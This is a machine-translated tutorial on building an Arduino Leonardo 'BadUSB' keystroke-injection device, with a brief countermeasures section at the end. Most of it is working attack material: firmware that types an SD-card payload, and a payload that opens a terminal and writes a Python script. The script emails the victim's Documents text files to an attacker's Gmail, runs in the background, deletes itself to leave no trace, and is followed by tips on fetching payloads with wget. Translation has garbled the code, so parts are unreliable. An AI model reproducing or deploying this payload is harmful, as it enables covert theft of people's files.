Sadržaj:

Demo demonstracija eksploatacije tipkovnice na Arduinu (HID) i prevencija: 4 koraka (sa slikama)
Demo demonstracija eksploatacije tipkovnice na Arduinu (HID) i prevencija: 4 koraka (sa slikama)

Video: Demo demonstracija eksploatacije tipkovnice na Arduinu (HID) i prevencija: 4 koraka (sa slikama)

Video: Demo demonstracija eksploatacije tipkovnice na Arduinu (HID) i prevencija: 4 koraka (sa slikama)
Video: 💀 BADUSB в действии...#arduino #cybersecurity #badusb 2024, Juli
Anonim
Image
Image
Izrada uređaja
Izrada uređaja

U ovom projektu ćemo koristiti arduino leonardo za simulaciju mogućeg USB napada pomoću HID -a (humain interface device).

Ovaj vodič nisam stvorio da bih pomogao hakerima već da vam pokažem neke stvarne opasnosti i kako da se zaštitite od tih opasnosti. Ovaj uređaj nije uređaj koji se može koristiti na bilo kojoj platformi za hakere, već je detaljniji dokaz koncepta.

Naučit ćemo sljedeće:

- kako koristiti arduino leonardo za oponašanje tastature

- kako čitati podatke sa SD kartica

- kako stvoriti python skriptu koja skenira datoteke i šalje ih e -poštom

- kako zaštititi sebe od USB uređaja za hakiranje

Korak 1: Materijali

Dijelovi:

1. Arduino leonardo

2. čitač mikro USB kartica

3. nekoliko GB SD kartica

4. tipka poput ove (VCC, uzemljenje i signal)

5. ženski-muški i žensko-ženski prespojni kablovi

6. mikro USB na USB kabel

Korak 2: Izgradnja uređaja

Izrada uređaja
Izrada uređaja

Prije upustva za izgradnju pregledajmo princip rada:

Arduino leonardo se može ponašati kao uređaj sa ljudskim interfejsom (HID) i stoga može oponašati miš i tastaturu. Ovu ćemo značajku koristiti za otvaranje terminala (u UBUNTU linux -u) i pisanje male skripte koja će pristupiti fascikli /Dokumenti unutar korisničke mape kopirati.txt datoteke tamo i poslati ih nekome e -poštom. Ako želite saznati više detalja, provjerite sljedeći korak.

Budući da se radi o demo uređaju, stvari su vrlo jednostavne, nećemo ništa lemiti.

Upute za izgradnju

Prije nego što počnemo provjeravati priložene datoteke, priložio sam sheme prevrtanja i sve potrebne datoteke

1. Sastavite komponente:

* priključite mikro USB kabel u arduino

* spojite ključni prekidač na arduino (uzemljenje, vcc i izlazni modul na D8)

* povežite čitač kartica na arduino (pomoću ICSP zaglavlja). Arduino leonardo nema ICSP zaglavlje povezano na digitalne pinove pa ćete morati spojiti čitač kartica na ICSP zaglavlje. Neke crteže ICSP-a možete pronaći ovdje: https://learn.sparkfun.com/tutorials/installing-an…. Spojite SS pin na digitalni pin 10

2. nabavite arduino kôd, možete klonirati moje arduino spremište na githubu: https://github.com/danionescu0/arduino i otići na projects/keyboard_exploit ili ga preuzeti odozdo:

#include "Keyboard.h"

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Spavanje::"; String commandStartingPoint = "Command::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Kartica nije uspjela ili nije prisutna!"); return; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Postavljeno!"); kašnjenje (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println ("Navedeno ime datoteke nije prisutno na SD kartici, provjerite filenameOnCard!"); } String line; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (linija); sendToKeyboard (linija); } dataFile.close (); } void sendToKeyboard (String line) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (linija); return; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Tekst:"); Serial.println (linija); Keyboard.println (linija); pritisnite Enter (); return; } Serial.println ("Naredba:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); Naredba niza = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (command! = "") {Serial.print ("Naredba je pronađena:"); Serial.println (naredba); Keyboard.press (getCommandCode (naredba)); kašnjenje (delayBetweenCommands); }} Keyboard.releaseAll (); kašnjenje (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Spavanje za:"); Serial.println (sleepAmount); kašnjenje (sleepAmount); } char getCommandCode (String text) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char code = textCharacters [0]; kod = (tekst == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: kod; kod = (tekst == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: code; kod = (tekst == "KEY_LEFT_ALT")? KEY_LEFT_ALT: kod; kod = (tekst == "KEY_UP_ARROW")? KEY_UP_ARROW: kod; kod = (tekst == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: kod; kod = (tekst == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: kod; kod = (tekst == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: kod; kod = (tekst == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: code; kod = (tekst == "KEY_BACKSPACE")? KEY_BACKSPACE: kod; kod = (tekst == "KEY_TAB")? KEY_TAB: code; kod = (tekst == "KEY_RETURN")? KEY_RETURN: kod; kod = (tekst == "KEY_ESC")? KEY_ESC: kod; kod = (tekst == "KEY_INSERT")? KEY_INSERT: kod; kod = (tekst == "KEY_DELETE")? KEY_DELETE: kod; kod = (tekst == "KEY_PAGE_UP")? KEY_PAGE_UP: code; kod = (tekst == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: kod; kod = (tekst == "KEY_HOME")? KEY_HOME: kod; code = (text == "KEY_END")? KEY_END: kod; kod = (tekst == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: kod; kod = (tekst == "KEY_F1")? KEY_F1: kod; kod = (tekst == "KEY_F2")? KEY_F2: kod; kod = (tekst == "KEY_F3")? KEY_F3: kod; code = (text == "KEY_F4")? KEY_F4: kod; kod = (tekst == "KEY_F5")? KEY_F5: kod; kod = (tekst == "KEY_F6")? KEY_F6: kod; kod = (tekst == "KEY_F7")? KEY_F7: kod; kod = (tekst == "KEY_F8")? KEY_F8: kod; code = (text == "KEY_F9")? KEY_F9: code; kod = (tekst == "KEY_F10")? KEY_F10: kod; code = (text == "KEY_F11")? KEY_F1: kod; kod = (tekst == "KEY_F12")? KEY_F2: kod;

povratni kod;

}

3. Prenesite kôd na arduino, obavezno odaberite 9600 brzina prijenosa, serijski port i arduino leonardo

4. Formatirajte sd karticu koristeći FAT16 ili FAT32

5. Ako ste klonirali github repo odozgo, kopirajte datoteku hack.txt na karticu, ako datoteka nije navedena ispod:

Naredba:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Naredba:: KEY_INSERT uvozi smtplib import glob, os iz os.path import expanduser iz e -pošte. MIMEText uvozi MIMEText iz e -pošte. Utils uvozi COMMASPACE, formatdate iz koda za uvoz e -pošte

smtp_user = 'adresa_pošiljatelja'

smtp_pass = 'sender_gmail_password' to_address = 'primalac_adrese' scan_documents_location = 'Dokumenti'

subject = body = 'Datoteke sa hakiranog računara'

header = 'Za: {0} nOd: {1} nPredmet: {2} n'.format (to_address, smtp_user, subject)

def sendMail (to, subject, text, files = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = tema msg.attach (MIMEText (tekst)) za datoteku u datotekama: part = MIMEBase ('application', "octet-stream") part.set_payload (open (file, "rb"). Read ()) Encoders.encode_base64 (part) part. add_header ('Content-Disposition', 'attachment; filename = " % s"' % os.path.basename (datoteka)) msg.attach (dio)

server = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()

sendMail ([to_address], subject, body, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))

Sleep:: 50 Command:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4

6. Uredite sljedeće redove:

smtp_user = 'pošiljalac_email_addr'

smtp_pass = 'lozinka_pošiljaoca' do_address = 'adresa_prijemnika'

I zamijenite ih svojim adresama e -pošte

7. Uklonite karticu i umetnite je u čitač arduino kartica

Korak 3: Kako to funkcionira u detaljima

Kako će napad djelovati:

1. Kada pritisnete dugme, leonardo će čitati SD karticu pomoću čitača SD kartica. Posebna datoteka koja sadrži ključeve i kombinaciju tipki bit će prisutna na kartici. Naziv datoteke je "hack.txt".

Datoteka može sadržavati neobrađeni tekst i ona će se proslijediti na tastaturu.

Također može sadržavati posebne naredbe poput "Sleep::" i "Command::".

Linija poput:

Spavanje:: 200 znači spavanje od 200 ms

Linija poput:

Naredba:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t znači lijevi ctrl pritisnut, lijevi alt pritisnut, t pritisnut i sve otpušteno

Sve posebne ključeve možete provjeriti ovdje:

2. Leonardo će čitati red po red, tumačiti naredbe i oponašati tastere na tastaturi. Datoteka "hack.txt" sadrži kombinaciju ključeva koja radi sljedeće (za UBUNTU linux):

a. otvara terminal (CTRL + ALT + T)

b. otvara python datoteku za kreiranje pomoću vi (piše "vi hack.py"

c. piše Python skriptu koja prikuplja sve tekstualne datoteke unutar matične mape dokumenata i šalje ih na određenu gmail adresu

d. pokreće datoteku u pozadini ("nohup python hack.py &")

e. briše datoteku (rm -rf hack.py)

f. zatvara terminal (ALT + F4)

Cijela ova stvar traje nekoliko sekundi i ne ostavlja tragove.

Poboljšanja i rješavanje problema

* Možda ste primijetili da nakon otvaranja terminala pišem python datoteku. bolji način za to će biti da ga negdje ugostite i preuzmete pomoću naredbe "wget some_url", a zatim ga preimenujete u hack.py

* Takođe možemo preuzeti ili pokrenuti gotov exploit za ciljani operativni sistem

* wifi se može dodati modulu, a hakovi se mogu učitati putem WIFI -ja

* možete koristiti arduino micro (koji je mnogo manji) i u njega ugraditi exploit kod (kako bi bio manji)

Ograničenja

1. Budući da simulirani uređaj (tastatura i miš) nema povratnih informacija, ne znamo šta će se dogoditi nakon izdavanja naredbe što znači da moramo koristiti kašnjenja. Na primjer, izdajem naredbu za otvaranje terminala, ali ne znam kada će zapravo biti otvoren, pa moram navesti proizvoljno kašnjenje kako bi se osiguralo da se znakovi nakon otkucaja neće izgubiti.

2. Možemo naići na probleme s dozvolama, poput nedostatka pristupa USB priključku ili dozvole za instaliranje nečega

3. Brzina pisanja nije tako velika na leonardu

4. Radit će samo na ciljanom operativnom sistemu (u našem slučaju UBUNTU linux)

U sljedećem koraku pokušat ćemo pronaći načine da iskoristimo ova ograničenja kako bismo spriječili hakovanje našeg računara

Korak 4: Protumjere

1. Onemogućavanje USB portova

-za Windows možete provjeriti ovaj vodič:

2. USB uređaji s bijele liste:

- za Windows:

2. Zaključajte računar kada niste odsutni

3. Nemojte se prijavljivati kao root (zahtijevaju lozinke za instaliranje bilo čega)

4. Ažurirajte sebe (uključena automatska ažuriranja)

Preporučuje se: